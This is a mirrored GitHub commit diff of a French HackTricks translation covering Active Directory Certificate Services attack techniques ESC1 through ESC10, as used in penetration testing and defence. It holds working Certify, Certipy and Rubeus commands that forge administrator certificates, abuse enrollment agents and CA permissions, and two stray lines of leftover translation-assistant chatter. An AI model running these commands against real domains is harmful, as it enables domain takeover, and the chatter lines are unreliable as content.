mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['windows-hardening/active-directory-methodology/ad-certifica
This commit is contained in:
parent
a59159eacb
commit
b7ea5014d4
1 changed files with 53 additions and 53 deletions
|
@ -23,7 +23,7 @@ Autres moyens de soutenir HackTricks :
|
|||
* **Aucune signature autorisée n'est requise**
|
||||
* Un **modèle de certificat** trop permissif **accorde des droits d'inscription de certificat aux utilisateurs à faibles privilèges**
|
||||
* Le **modèle de certificat définit des EKUs qui permettent l'authentification** :
|
||||
* _Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou pas d'EKU (SubCA)._
|
||||
* _Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou aucun EKU (SubCA)._
|
||||
* Le **modèle de certificat permet aux demandeurs de spécifier un subjectAltName dans la CSR :**
|
||||
* **AD** **utilisera** l'identité spécifiée par le champ **subjectAltName** (SAN) d'un certificat **si** elle est **présente**. Par conséquent, si un demandeur peut spécifier le SAN dans une CSR, le demandeur peut **demander un certificat en tant que n'importe qui** (par exemple, un utilisateur admin de domaine). L'objet AD du modèle de certificat **spécifie** si le demandeur **peut spécifier le SAN** dans sa propriété **`mspki-certificate-name-`**`flag`. La propriété `mspki-certificate-name-flag` est un **masque de bits** et si le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** est **présent**, un **demandeur peut spécifier le SAN.**
|
||||
|
||||
|
@ -40,21 +40,21 @@ Notez que lorsqu'un certificat avec cette dernière option est créé, un **aver
|
|||
Pour **trouver des modèles de certificats vulnérables**, vous pouvez exécuter :
|
||||
```bash
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Pour **abuser de cette vulnérabilité pour se faire passer pour un administrateur**, on pourrait exécuter :
|
||||
```bash
|
||||
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Ensuite, vous pouvez transformer le **certificat généré en format `.pfx`** et l'utiliser pour **vous authentifier à nouveau en utilisant Rubeus ou certipy** :
|
||||
Ensuite, vous pouvez transformer le certificat généré au format **`.pfx`** et l'utiliser pour **vous authentifier à nouveau en utilisant Rubeus ou certipy** :
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Les binaires Windows "Certreq.exe" et "Certutil.exe" peuvent être détournés pour générer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour **énumérer** les **modèles de certificats** qui **ne nécessitent pas d'approbation/signatures**, qui possèdent une EKU **Authentification Client ou Connexion par Carte à Puce**, et ont le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** activé :
|
||||
De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour **énumérer** les **modèles de certificats** qui **ne nécessitent pas d'approbation/signature**, qui possèdent une EKU **Authentification Client ou Connexion par Carte à Puce**, et ont le flag **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** activé :
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
|
@ -70,11 +70,11 @@ Le deuxième scénario d'abus est une variation du premier :
|
|||
4. Un descripteur de sécurité de modèle de certificat trop permissif accorde aux utilisateurs disposant de faibles privilèges le droit de s'inscrire pour obtenir un certificat.
|
||||
5. **Le modèle de certificat définit l'EKU Any Purpose ou aucun EKU.**
|
||||
|
||||
L'**EKU Any Purpose** permet à un attaquant d'obtenir un **certificat** pour **n'importe quel objectif** comme l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique que pour ESC3** peut être utilisée pour abuser de cela.
|
||||
L'**EKU Any Purpose** permet à un attaquant d'obtenir un **certificat** pour **n'importe quel usage** comme l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique que pour ESC3** peut être utilisée pour abuser de cela.
|
||||
|
||||
Un **certificat sans EKUs** — un certificat de CA subordonné — peut également être abusé pour **n'importe quel objectif**, mais pourrait **aussi être utilisé pour signer de nouveaux certificats**. Ainsi, en utilisant un certificat de CA subordonné, un attaquant pourrait **spécifier des EKUs arbitraires ou des champs dans les nouveaux certificats.**
|
||||
Un **certificat sans EKUs** — un certificat de CA subordonné — peut également être abusé pour **n'importe quel usage**, mais pourrait **aussi être utilisé pour signer de nouveaux certificats**. Ainsi, en utilisant un certificat de CA subordonné, un attaquant pourrait **spécifier des EKUs arbitraires ou des champs dans les nouveaux certificats.**
|
||||
|
||||
Cependant, si le **CA subordonné n'est pas approuvé** par l'objet **`NTAuthCertificates`** (ce qui ne sera pas le cas par défaut), l'attaquant **ne peut pas créer de nouveaux certificats** qui fonctionneront pour **l'authentification de domaine**. Néanmoins, l'attaquant peut créer **de nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires, dont il y a **abondance** que l'attaquant pourrait potentiellement **abuser** (par exemple, la signature de code, l'authentification serveur, etc.) et qui pourraient avoir de grandes implications pour d'autres applications dans le réseau comme SAML, AD FS ou IPSec.
|
||||
Cependant, si le **CA subordonné n'est pas approuvé** par l'objet **`NTAuthCertificates`** (ce qui ne sera pas le cas par défaut), l'attaquant **ne peut pas créer de nouveaux certificats** qui fonctionneront pour **l'authentification de domaine**. Néanmoins, l'attaquant peut créer **de nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires, dont il y a **beaucoup** que l'attaquant pourrait potentiellement **abuser** (par exemple, la signature de code, l'authentification serveur, etc.) et qui pourraient avoir de grandes implications pour d'autres applications dans le réseau comme SAML, AD FS ou IPSec.
|
||||
|
||||
La requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour énumérer les modèles correspondant à ce scénario :
|
||||
```
|
||||
|
@ -102,29 +102,29 @@ L'**"agent d'inscription"** s'inscrit à un tel **modèle** et utilise le **cert
|
|||
|
||||
1. L'AC d'entreprise permet aux utilisateurs peu privilégiés des droits d'inscription.
|
||||
2. L'approbation du gestionnaire est désactivée.
|
||||
3. **La version du schéma du modèle est 1 ou supérieure à 2 et spécifie une exigence de politique d'application d'émission nécessitant l'EKU Agent de demande de certificat.**
|
||||
3. **La version du schéma du modèle est 1 ou est supérieure à 2 et spécifie une exigence de politique d'application pour l'émission nécessitant l'EKU Agent de demande de certificat.**
|
||||
4. Le modèle de certificat définit un EKU qui permet l'authentification de domaine.
|
||||
5. Les restrictions d'agent d'inscription ne sont pas mises en œuvre sur l'AC.
|
||||
|
||||
### Abus
|
||||
### Exploitation
|
||||
|
||||
Vous pouvez utiliser [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) pour exploiter ce scénario :
|
||||
```bash
|
||||
# Request an enrollment agent certificate
|
||||
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
|
||||
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
|
||||
|
||||
# Enrollment agent certificate to issue a certificate request on behalf of
|
||||
# another user to a template that allow for domain authentication
|
||||
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
|
||||
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
|
||||
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
|
||||
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Les AC d'entreprise peuvent **restreindre** les **utilisateurs** qui peuvent **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents d'inscription peuvent s'inscrire**, et quels **comptes** l'agent d'inscription peut **représenter** en ouvrant le `certsrc.msc` `snap-in -> clic droit sur l'AC -> cliquer sur Propriétés -> naviguer` jusqu'à l'onglet “Enrollment Agents”.
|
||||
|
||||
Cependant, le paramètre **par défaut** de l'AC est “**Ne pas restreindre les agents d'inscription**”. Même lorsque les administrateurs activent “Restreindre les agents d'inscription”, le paramètre par défaut est extrêmement permissif, permettant à tout le monde de s'inscrire dans tous les modèles en tant que n'importe qui.
|
||||
Cependant, le paramètre **par défaut** de l'AC est “**Ne pas restreindre les agents d'inscription**”. Même lorsque les administrateurs activent “Restreindre les agents d'inscription”, le paramètre par défaut est extrêmement permissif, permettant à tout le monde d'accéder à l'inscription dans tous les modèles en tant que n'importe qui.
|
||||
|
||||
## Contrôle d'accès vulnérable au modèle de certificat - ESC4
|
||||
|
||||
|
@ -144,13 +144,13 @@ Droits intéressants sur les modèles de certificats :
|
|||
|
||||
### Abus
|
||||
|
||||
Un exemple de privesc comme celui mentionné précédemment :
|
||||
Un exemple d'élévation de privilèges comme le précédent :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 est lorsque un utilisateur a des privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être abusé pour réécrire la configuration du modèle de certificat pour rendre le modèle vulnérable à ESC1.
|
||||
|
||||
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouveau lien `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également implémenté cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hash NT de la victime.
|
||||
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouvel avantage `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également implémenté cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hash NT de la victime.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -169,11 +169,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
|||
|
||||
### Explication
|
||||
|
||||
La toile de relations ACL interconnectées qui peuvent affecter la sécurité de AD CS est vaste. Plusieurs **objets en dehors des modèles de certificats** et de l'autorité de certification elle-même peuvent avoir un **impact sur la sécurité de l'ensemble du système AD CS**. Ces possibilités incluent (sans s'y limiter) :
|
||||
La toile de relations ACL interconnectées qui peuvent affecter la sécurité de AD CS est vaste. Plusieurs **objets en dehors des modèles de certificats** et de l'autorité de certification elle-même peuvent avoir un **impact sur la sécurité de l'ensemble du système AD CS**. Ces possibilités incluent (mais ne se limitent pas à) :
|
||||
|
||||
* **L'objet ordinateur AD du serveur CA** (par exemple, compromission via S4U2Self ou S4U2Proxy)
|
||||
* **L'objet ordinateur AD du serveur CA** (c'est-à-dire, compromission via S4U2Self ou S4U2Proxy)
|
||||
* **Le serveur RPC/DCOM du serveur CA**
|
||||
* Tout **objet AD descendant ou conteneur dans le conteneur** `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` (par exemple, le conteneur des modèles de certificats, le conteneur des autorités de certification, l'objet NTAuthCertificates, le conteneur des services d'inscription, etc.)
|
||||
* Tout **objet AD descendant ou conteneur dans le conteneur** `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` (par exemple, le conteneur Modèles de Certificats, le conteneur Autorités de Certification, l'objet NTAuthCertificates, le conteneur Services d'Inscription, etc.)
|
||||
|
||||
Si un attaquant avec peu de privilèges peut **prendre le contrôle de l'un de ces éléments**, l'attaque peut probablement **compromettre le système PKI**.
|
||||
|
||||
|
@ -182,9 +182,9 @@ Si un attaquant avec peu de privilèges peut **prendre le contrôle de l'un de c
|
|||
### Explication
|
||||
|
||||
Il existe un autre problème similaire, décrit dans l'[**article de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), qui concerne le drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**. Comme Microsoft le décrit, "**Si** ce drapeau est **activé** sur le CA, **toute demande** (y compris lorsque le sujet est construit à partir d'Active Directory®) peut avoir des **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet**."\
|
||||
Cela signifie qu'un **attaquant** peut s'inscrire dans **N'IMPORTE QUEL modèle** configuré pour l'**authentification de domaine** qui **permet également aux utilisateurs non privilégiés** de s'inscrire (par exemple, le modèle d'utilisateur par défaut) et **obtenir un certificat** qui lui permet de **s'authentifier** en tant qu'administrateur de domaine (ou **tout autre utilisateur/machine actif**).
|
||||
Cela signifie qu'un **attaquant** peut s'inscrire dans **N'IMPORTE QUEL modèle** configuré pour l'**authentification de domaine** qui **permet également aux utilisateurs non privilégiés** de s'inscrire (par exemple, le modèle d'utilisateur par défaut) et **obtenir un certificat** qui nous permet de **nous authentifier** en tant qu'administrateur de domaine (ou **tout autre utilisateur/machine actif**).
|
||||
|
||||
**Note** : les **noms alternatifs** ici sont **inclus** dans une CSR via l'argument `-attrib "SAN:"` pour `certreq.exe` (c'est-à-dire "Paires Nom Valeur"). C'est **différent** de la méthode pour **abuser des SANs** dans ESC1 car cela **stocke les informations de compte dans un attribut de certificat vs une extension de certificat**.
|
||||
**Note** : les **noms alternatifs** ici sont **inclus** dans une CSR via l'argument `-attrib "SAN:"` pour `certreq.exe` (c'est-à-dire, "Paires Nom Valeur"). C'est **différent** de la méthode pour **abuser des SANs** dans ESC1 car cela **stocke les informations de compte dans un attribut de certificat vs une extension de certificat**.
|
||||
|
||||
### Abus
|
||||
|
||||
|
@ -214,11 +214,11 @@ Si vous trouvez ce paramètre dans votre environnement, vous pouvez **retirer ce
|
|||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Après les mises à jour de sécurité de mai 2022, les nouveaux **certificats** auront une **extension de sécurité** qui **intègre** la propriété **`objectSid` du demandeur**. Pour ESC1, cette propriété sera reflétée à partir du SAN spécifié, mais avec **ESC6**, cette propriété reflète **l'`objectSid` du demandeur**, et non à partir du SAN.\
|
||||
Ainsi, **pour abuser de ESC6**, l'environnement doit être **vulnérable à ESC10** (Mappages de certificats faibles), où le **SAN est préféré à la nouvelle extension de sécurité**.
|
||||
Après les mises à jour de sécurité de mai 2022, les nouveaux **certificats** auront une **extension de sécurité** qui **intègre** la **propriété `objectSid` du demandeur**. Pour ESC1, cette propriété sera reflétée à partir du SAN spécifié, mais avec **ESC6**, cette propriété reflète l'**`objectSid` du demandeur**, et non à partir du SAN.\
|
||||
Ainsi, **pour abuser de ESC6**, l'environnement doit être **vulnérable à ESC10** (Mappages de Certificats Faibles), où le **SAN est préféré sur la nouvelle extension de sécurité**.
|
||||
{% endhint %}
|
||||
|
||||
## Contrôle d'accès vulnérable de l'Autorité de Certification - ESC7
|
||||
## Contrôle d'Accès Vulnérable de l'Autorité de Certification - ESC7
|
||||
|
||||
### Attaque 1
|
||||
|
||||
|
@ -240,7 +240,7 @@ Si vous avez un principal avec les droits **`ManageCA`** sur une **autorité de
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cela est également possible de manière plus simple avec l'applet de commande [**PSPKI’s Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx).
|
||||
Cela est également possible sous une forme plus simple avec le cmdlet [**PSPKI’s Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx).
|
||||
|
||||
Les droits **`ManageCertificates`** permettent d'**approuver une demande en attente**, contournant ainsi la protection "approbation du gestionnaire de certificats CA".
|
||||
|
||||
|
@ -280,7 +280,7 @@ La technique repose sur le fait que les utilisateurs avec les droits d'accès `M
|
|||
|
||||
#### Abus
|
||||
|
||||
Vous pouvez vous **octroyer le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur comme un nouvel officier.
|
||||
Vous pouvez **vous octroyer le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur comme un nouvel officier.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -290,7 +290,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
Le modèle **`SubCA`** peut être **activé sur le CA** avec le paramètre `-enable-template`. Par défaut, le modèle `SubCA` est activé.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
## If SubCA is not there, you need to enable it
|
||||
|
||||
# Enable SubCA
|
||||
|
@ -337,13 +337,13 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
### Explication
|
||||
|
||||
{% hint style="info" %}
|
||||
En résumé, si un environnement a **AD CS installé**, avec un **point de terminaison d'inscription web vulnérable** et au moins un **modèle de certificat publié** qui permet **l'inscription d'ordinateurs de domaine et l'authentification client** (comme le modèle par défaut **`Machine`**), alors un **attaquant peut compromettre N'IMPORTE QUEL ordinateur avec le service spouleur en cours d'exécution**!
|
||||
En résumé, si un environnement a **AD CS installé**, avec un **point de terminaison d'inscription web vulnérable** et au moins un **modèle de certificat publié** qui permet **l'inscription d'ordinateur de domaine et l'authentification client** (comme le modèle par défaut **`Machine`**), alors un **attaquant peut compromettre N'IMPORTE QUEL ordinateur avec le service spouleur en cours d'exécution**!
|
||||
{% endhint %}
|
||||
|
||||
AD CS prend en charge plusieurs **méthodes d'inscription basées sur HTTP** via des rôles de serveur AD CS supplémentaires que les administrateurs peuvent installer. Ces interfaces d'inscription de certificats basées sur HTTP sont toutes **vulnérables aux attaques de relais NTLM**. En utilisant le relais NTLM, un attaquant sur une **machine compromise peut se faire passer pour n'importe quel compte AD s'authentifiant via NTLM entrant**. En se faisant passer pour le compte victime, un attaquant pourrait accéder à ces interfaces web et **demander un certificat d'authentification client basé sur les modèles de certificat `User` ou `Machine`**.
|
||||
AD CS prend en charge plusieurs **méthodes d'inscription basées sur HTTP** via des rôles de serveur AD CS supplémentaires que les administrateurs peuvent installer. Ces interfaces d'inscription de certificats basées sur HTTP sont toutes **vulnérables aux attaques de relais NTLM**. En utilisant le relais NTLM, un attaquant sur une **machine compromise peut se faire passer pour n'importe quel compte AD authentifiant NTLM entrant**. En se faisant passer pour le compte victime, un attaquant pourrait accéder à ces interfaces web et **demander un certificat d'authentification client basé sur les modèles de certificat `User` ou `Machine`**.
|
||||
|
||||
* L'**interface d'inscription web** (une application ASP de l'ancienne génération accessible à `http://<caserver>/certsrv/`), par défaut, ne prend en charge que HTTP, qui ne peut pas se protéger contre les attaques de relais NTLM. De plus, elle permet explicitement uniquement l'authentification NTLM via son en-tête HTTP Authorization, donc des protocoles plus sécurisés comme Kerberos ne sont pas utilisables.
|
||||
* Le **Certificate Enrollment Service** (CES), le **Certificate Enrollment Policy** (CEP) Web Service et le **Network Device Enrollment Service** (NDES) prennent en charge l'authentification négociée par défaut via leur en-tête HTTP Authorization. L'authentification négociée **supporte** Kerberos et **NTLM** ; par conséquent, un attaquant peut **négocier pour utiliser l'authentification NTLM** pendant les attaques de relais. Ces services web activent au moins HTTPS par défaut, mais malheureusement HTTPS à lui seul ne **protège pas contre les attaques de relais NTLM**. Seulement lorsque HTTPS est couplé avec le binding de canal, les services HTTPS peuvent être protégés contre les attaques de relais NTLM. Malheureusement, AD CS n'active pas la Protection Étendue pour l'Authentification sur IIS, qui est nécessaire pour activer le binding de canal.
|
||||
* L'**interface d'inscription web** (une application ASP d'aspect ancien accessible à `http://<caserver>/certsrv/`), par défaut, ne prend en charge que HTTP, qui ne peut pas se protéger contre les attaques de relais NTLM. De plus, elle permet explicitement uniquement l'authentification NTLM via son en-tête HTTP d'autorisation, donc des protocoles plus sécurisés comme Kerberos sont inutilisables.
|
||||
* Le **Certificate Enrollment Service** (CES), le **Certificate Enrollment Policy** (CEP) Web Service et le **Network Device Enrollment Service** (NDES) prennent en charge par défaut l'authentification négociée via leur en-tête HTTP d'autorisation. L'authentification négociée **supporte** Kerberos et **NTLM** ; par conséquent, un attaquant peut **négocier jusqu'à l'authentification NTLM** lors des attaques de relais. Ces services web activent au moins HTTPS par défaut, mais malheureusement HTTPS à lui seul ne **protège pas contre les attaques de relais NTLM**. Seulement lorsque HTTPS est couplé avec le liage de canal, les services HTTPS peuvent être protégés contre les attaques de relais NTLM. Malheureusement, AD CS n'active pas la Protection Étendue pour l'Authentification sur IIS, qui est nécessaire pour activer le liage de canal.
|
||||
|
||||
Les **problèmes** courants avec les attaques de relais NTLM sont que les **sessions NTLM sont généralement courtes** et que l'attaquant **ne peut pas** interagir avec les services qui **imposent la signature NTLM**.
|
||||
|
||||
|
@ -367,11 +367,11 @@ Certify.exe cas
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Les autorités de certification d'entreprise stockent également **les points de terminaison CES** dans leur objet AD dans la propriété `msPKI-Enrollment-Servers`. **Certutil.exe** et **PSPKI** peuvent analyser et lister ces points de terminaison :
|
||||
Les AC d'entreprise stockent également **les points de terminaison CES** dans leur objet AD dans la propriété `msPKI-Enrollment-Servers`. **Certutil.exe** et **PSPKI** peuvent analyser et lister ces points de terminaison :
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
|
||||
```
|
||||
Since there is no English text provided outside of the HTML and markdown syntax, there is nothing to translate. If you have specific English text that you would like translated into French, please provide it, and I will be happy to assist.
|
||||
Since there is no English text provided outside of the image reference and caption placeholder, there is nothing to translate. If you have specific English text that you would like translated into French, please provide it, and I will be happy to assist.
|
||||
```powershell
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
|
@ -408,11 +408,11 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## Pas d'extension de sécurité - ESC9 <a href="#5485" id="5485"></a>
|
||||
## Pas d'Extension de Sécurité - ESC9 <a href="#5485" id="5485"></a>
|
||||
|
||||
### Explication
|
||||
|
||||
ESC9 fait référence à la nouvelle valeur **`msPKI-Enrollment-Flag`** **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`). Si ce drapeau est défini sur un modèle de certificat, la **nouvelle extension de sécurité `szOID_NTDS_CA_SECURITY_EXT`** ne sera **pas** intégrée. ESC9 est seulement utile lorsque `StrongCertificateBindingEnforcement` est réglé sur `1` (par défaut), puisqu'une configuration de mappage de certificat plus faible pour Kerberos ou Schannel peut être exploitée comme ESC10 — sans ESC9 — car les exigences seront les mêmes.
|
||||
ESC9 fait référence à la nouvelle valeur de **`msPKI-Enrollment-Flag`** **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`). Si ce drapeau est défini sur un modèle de certificat, la **nouvelle extension de sécurité `szOID_NTDS_CA_SECURITY_EXT`** ne sera **pas** intégrée. ESC9 est seulement utile lorsque `StrongCertificateBindingEnforcement` est réglé sur `1` (par défaut), puisqu'une configuration de mappage de certificat plus faible pour Kerberos ou Schannel peut être exploitée comme ESC10 — sans ESC9 — car les exigences seront les mêmes.
|
||||
|
||||
* `StrongCertificateBindingEnforcement` n'est pas réglé sur `2` (par défaut : `1`) ou `CertificateMappingMethods` contient le drapeau `UPN`
|
||||
* Le certificat contient le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans la valeur `msPKI-Enrollment-Flag`
|
||||
|
@ -427,7 +427,7 @@ D'abord, nous obtenons le hash de `Jane` avec par exemple Shadow Credentials (en
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour être `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -437,7 +437,7 @@ Maintenant, nous demandons le modèle de certificat vulnérable `ESC9`. Nous dev
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Remarquez que le `userPrincipalName` dans le certificat est `Administrator` et que le certificat émis ne contient pas de "object SID".
|
||||
Remarquez que le `userPrincipalName` dans le certificat est `Administrator` et que le certificat émis ne contient pas de "SID d'objet".
|
||||
|
||||
Ensuite, nous changeons à nouveau le `userPrincipalName` de `Jane` pour être autre chose, comme son `userPrincipalName` original `Jane@corp.local`.
|
||||
|
||||
|
@ -447,7 +447,7 @@ Maintenant, si nous essayons de nous authentifier avec le certificat, nous recev
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Mappages de certificats faibles - ESC10
|
||||
## Mappages de Certificats Faibles - ESC10
|
||||
|
||||
### Explication
|
||||
|
||||
|
@ -465,7 +465,7 @@ ESC10 fait référence à deux valeurs de clé de registre sur le contrôleur de
|
|||
|
||||
`CertificateMappingMethods` contient le bit `UPN` (`0x4`)
|
||||
|
||||
### Cas d'abus 1
|
||||
### Cas d'Abus 1
|
||||
|
||||
* `StrongCertificateBindingEnforcement` réglé sur `0`
|
||||
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B
|
||||
|
@ -476,7 +476,7 @@ D'abord, nous obtenons le hash de `Jane` avec par exemple Shadow Credentials (en
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour être `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -496,7 +496,7 @@ Maintenant, si nous essayons de nous authentifier avec le certificat, nous recev
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Cas d'abus 2
|
||||
### Cas d'Abus 2
|
||||
|
||||
* `CertificateMappingMethods` contient le drapeau de bit `UPN` (`0x4`)
|
||||
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B sans propriété `userPrincipalName` (comptes machine et administrateur de domaine intégré `Administrator`)
|
||||
|
@ -507,7 +507,7 @@ D'abord, nous obtenons le hash de `Jane` avec par exemple Shadow Credentials (en
|
|||
|
||||
